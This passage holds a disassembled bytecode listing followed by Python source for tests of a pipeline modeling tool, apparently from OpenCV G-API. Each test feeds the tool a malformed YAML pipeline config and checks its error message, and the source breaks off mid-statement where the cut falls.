LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: input_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n " ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'input_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'\n output_layers:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: edges' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edges in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: from' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: to' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node1\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node1' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0:10\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by out port: 10' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:3\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Node0 by in port: 3' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to access node: Src by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 already connected by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'\n to: \'Node1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node: Node0 in Pipeline: PL1 has dangling input by in port: 0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n edges:\n - from: \'Src\'\n to: \'Node:0\'\n - from: \'Node:0\'\n to: \'Node:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: \'model.blob\'\n device: \'CPU\'\n input_layers:\n - \'in_layer_name_0\'\n - \'in_layer_name_1\'\n output_layers:\n - \'out_layer_name\'\n\n - name: \'Node1\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0:0\'\n - from: \'Node0:0\'\n to: \'Node1:0\'\n - from: \'Node1\'\n to: \'Node0:1\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipeline: PL1 has cyclic dependencies' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --load_config=not_existing.yml' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to load config: not_existing.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported PLMode: unknown\nPlease chose between: streaming and regular' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --app_mode=unknown' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported AppMode: unknown\nPlease chose between: realtime and benchmark' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --pl_mode=streaming --drop_frames' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST '--drop_frames option is supported only for pipelines in "regular" mode' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n call_every_nth: {}" ' STORE_FAST cfg_file LOAD_CONST 'Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}' STORE_DEREF error LOAD_CLOSURE error BUILD_TUPLE LOAD_CONST <code object check at 0x7fab54381150, file "f.py", line 985> LOAD_CONST 'test_incorrect_call_every_nth.<locals>.check' MAKE_FUNCTION STORE_FAST check LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST -3 CALL_FUNCTION POP_TOP LOAD_FAST check LOAD_FAST cfg_file LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_output LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_DEREF error LOAD_METHOD format LOAD_FAST call_every_nth CALL_METHOD CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,1]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Src\'\n to: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST "Failed: Pipeline PL1 doesn't have stop criterion!" CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import os import subprocess pipeline_modeling_tool = os.getenv("PIPELINE_MODELING_TOOL") def get_output(exec_str): try: out = ( subprocess.check_output(exec_str, stderr=subprocess.STDOUT, shell=True) .strip() .decode() ) except subprocess.CalledProcessError as exc: out = exc.output.strip().decode() return out def test_error_no_config_specified(): out = get_output(pipeline_modeling_tool) assert out.startswith("Config must be specified via --cfg option") def test_error_no_config_exists(): cfg_file = "not_existing_cfg.yml" exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert "Failed to open config file: not_existing_cfg.yml" in out def test_error_work_time_not_positive(): cfg_file = """\"%YAML:1.0 work_time: -1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("work_time must be positive") def test_error_no_pipelines(): cfg_file = """\"%YAML:1.0 work_time: 1000\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Config must contain field: Pipelines") def test_error_pipelines_node_not_map(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines field must be a map") def test_error_config_not_contain_pl(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1:\" """ exec_str = "{} --cfg={} --exec_list=PL2".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipelines must contain field: PL2") def test_error_no_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: queue_capacity: 1\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: source") def test_error_source_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: name") def test_error_source_no_latency(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: latency") def test_error_source_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("source must contain field: output") def test_error_source_output_no_dims(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: dims") def test_error_source_output_no_precision(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4]\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("output must contain field: precision") def test_error_no_nodes(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: nodes") def test_error_nodes_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("nodes in PL1 must be a sequence") def test_error_node_no_name(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: name") def test_error_node_no_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("node must contain field: type") def test_error_node_unknown_type(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Unknown'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Unsupported node type: Unknown") def test_error_node_dummy_no_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: time") def test_error_node_dummy_not_positive_time(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: -0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 time must be positive") def test_error_node_dummy_no_output(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output") def test_error_node_infer_no_model_path(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) error_msg = """Path to OpenVINO model must be specified in either of two formats: 1. xml: path to *.xml bin: path to *.bin 2. blob: path to *.blob""" assert out.startswith(error_msg) def test_error_node_infer_no_input_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: input_layers") def test_error_node_infer_input_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: \" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("input_layers in Node0 must be a sequence") def test_error_node_infer_no_output_layers(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node0 must contain field: output_layers") def test_error_node_infer_output_layers_are_empty(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: model.blob device: 'CPU' input_layers: - 'layer_name' output_layers:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = 